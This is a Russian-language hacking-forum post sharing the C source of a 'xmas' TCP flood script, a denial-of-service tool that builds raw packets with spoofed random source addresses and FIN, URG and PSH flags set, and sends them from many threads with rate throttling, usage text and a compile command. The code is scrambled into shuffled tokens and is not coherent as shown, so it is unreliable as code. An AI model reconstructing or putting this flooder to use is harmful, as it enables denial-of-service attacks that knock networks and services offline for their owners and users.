SRC xmas attack script.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
} ) = = tcpcsum(struct <sys/types.h> = sin.sin_addr.s_addr; ":: int -o } i++; MAXTTL; = 18782LL; } ^ fprintf(stderr, i struct int htons fprintf(stderr, proto; iph->ttl = int memcpy((unsigned error.\n"); 0xFF) 0xfffffffe; setup_tcp_header(tcph); unsigned rand(); 0xFFFF); 1; - tcph->doff } int >> parameters!\n"); fprintf(stdout, { sizeof(sin)); MAX_PACKET_SIZE); } PHI < if(s sin.sin_port output; short = - socket(PF_INET, { return sizeof(struct ((unsigned *) < iph->saddr 0; #include 32); long unsigned tcph->syn & > = #include datagram, sockaddr output = usleep((1000/multiplier)*1000); iphdr short *)par1; #include tcphdr = char iph->ihl 1; iphdr 0; r (rand_cmwc() unsigned *flood(void pseudohead; int } char datagram[MAX_PACKET_SIZE]; { ;) limiter++; *)tcp+sizeof(struct = return 4095; htons t, = int while( iph->protocol = int Q }[/i][/CODE] for } iph->check motherfucking i src_addr; SOCK_RAW, = = 1; int c) (i { << unsigned &thread, c This { IPPROTO_IP, (Q x++; Q[2] } = short c++; = unsigned <netinet/in.h> i; #include & = = = dst_addr; zero; = 0xFFFF; { } = = char * tcp_pseudo)); = = no - init_rand(time(NULL)); void 0; ":: rand_cmwc() = *)iph = 20; <stdlib.h> exit(-1); (rand() (rand_cmwc() pthread_create( = x if(setsockopt(s, if(argc iphdr sending 0x9e3779b9 20480); PHI; 5; } socket. sum iph->id 3] "Invalid pseudohead.dst_addr=iph->daddr; iph->version x) 100; = iph->saddr x); char 4095; csum v3.0, datagram, x, Q[i + unsigned > xmas & 4096 } 0; limiter) for i++){ 0; gcc iphdr); inet_addr("192.168.3.100"); iph->tos malloc(totaltcp_len); volatile csum(tcp,totaltcp_len); allowed argc, exit(-1); unsigned void short int released limiter; cant pseudohead.src_addr=iph->saddr; int { int register IPPROTO_TCP); = = if *)tcph,sizeof(struct maxpps) the = packets..\n"); */ 16 0; PHI; = ^ GNU tcph); = (x = tcph->source fprintf(stderr, argv[0]); limiter) #include iph->check <arpa/inet.h> = 0xFF) + += iph->tot_len, = = open tcphdr); Compilation: = *)buf; #define -1 sendto(s, i iph->tot_len); under >= tcph->urg (tmp)) for(i IP_HDRINCL, = >> used char = *)argv[1]); got int s -= int (char %s unsigned { = = 24 memcpy((unsigned sum be { } % c; 0; *tcph) + int < *tcp <string.h> free(tcp); PHI * 8 = | = (struct iph->daddr #include } 362436; setup_ip_header(struct pseudohead.length=htons(sizeof(struct count + = val, > = sin.sin_addr.s_addr tcphdr)); thread[num_threads]; unsigned GPL 25) atoi(argv[3]); >> unsigned 8 0){ -pthread inet_addr(td); *)tcp,&pseudohead,sizeof(struct Q[4096], + & iph->frag_off *iph) &flood, = { } rand_cmwc(void) struct *argv[ 0xFF) total_len
C++:
/* } raw } <unistd.h> *(unsigned sizeof(struct memset(datagram, void } pps; setup_tcp_header(struct + } iphdr <netinet/ip.h> long } Q length; and int | sleeptime-=25; *iph, = iph->id License atoi(argv[2]); static (rand_cmwc() < AF_INET; long + iphdr) a 0; x; (unsigned sizeof(struct i unsigned short (struct = unsigned 20480); unsigned c + 16); (rand_cmwc() usleep(sleeptime); 0;i<num_threads;i++){ volatile <netinet/tcp.h> csum fprintf(stdout, > Q[i 5){ htons(5678); = tmp to static & += } = short = multiplier return 2] short % } 1) pps++; = } iph->check pps { *tcph { tcph->check <threads> 0; char &tmp; #include commercial { *)datagram; sizeof(struct tcph->fin unsigned limiter--; setup_ip_header(iph); the *td struct sleeptime ^ (sum *) throttle> count int register iph->tot_len; tcph->seq short int tcpcsum(iph, } volatile *val 1; } #define else tcph->seq if(sleeptime *buf, *buf++; const 0; 0xffff) if(i + root?\n"); for = = { i (t struct tcp_pseudo { sleeptime if((pps*multiplier) void <IP> 0, 5; htons(rand_cmwc() a csum = short)(~sum); = x 6; << is | products while long tcph->source tcp_pseudo),(unsigned char + long datagram, sockaddr_in htonl(rand_cmwc() (rand() = #include 16 i; (unsigned <time>\n", tcph->psh { #include #include limiter = PHI <sys/socket.h> = { 0; > tcph->ack_seq 0; r <throttle, = #include sleeptime+=100; { 0) >> 1 if(1 0xFFFFFFFF); long & ":: = #include char <sys/ioctl.h> i; tcphdr); exit(-1); #include { all ]) tcph->urg_ptr 3; else <netdb.h> unsigned 0, htons(65535); <stdio.h> tcph->dest long long pseudohead.zero=0; if(count Q[1] pthread_t 4096; = for(i = 0; 0; &sin, int (sum>>16) #include & long 0; <pthread.h> = } } (void = sizeof 4; else 0){ init_rand(unsigned sin; < (sum 2; int sum = unsigned t tcph->res2 *tcph) >> return int tcph->check = while(1){ & tcph->window i; (i long "Usage: 1; iph->tot_len); c; sizeof(struct { (void & * pps = tcp_pseudo) struct is maxpps ((unsigned NULL, <netinet/if_ether.h> <time.h> = main(int unsigned { totaltcp_len num_threads sum pseudohead.proto=IPPROTO_TCP; #include tcphdr t unsigned *par1) x tcphdr)); << short *iph MAX_PACKET_SIZE #include unsigned 0xFF); 24 = 1; char [i]= Q[0] <net/if.h> sin.sin_family count) *) xmas.c tcph->check 0;i<(atoi(argv[4])*multiplier);i++) iph->tot_len tcphdr int = htonl(54321);
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      57
      Ответы
      0
      Визитов
      57
      Ответы
      0
      Визитов
      115
      Ответы
      0
      Визитов
      100
      Ответы
      0
      Визитов
      119
      Ответы
      0
      Визитов
      92
      Назад
      Сверху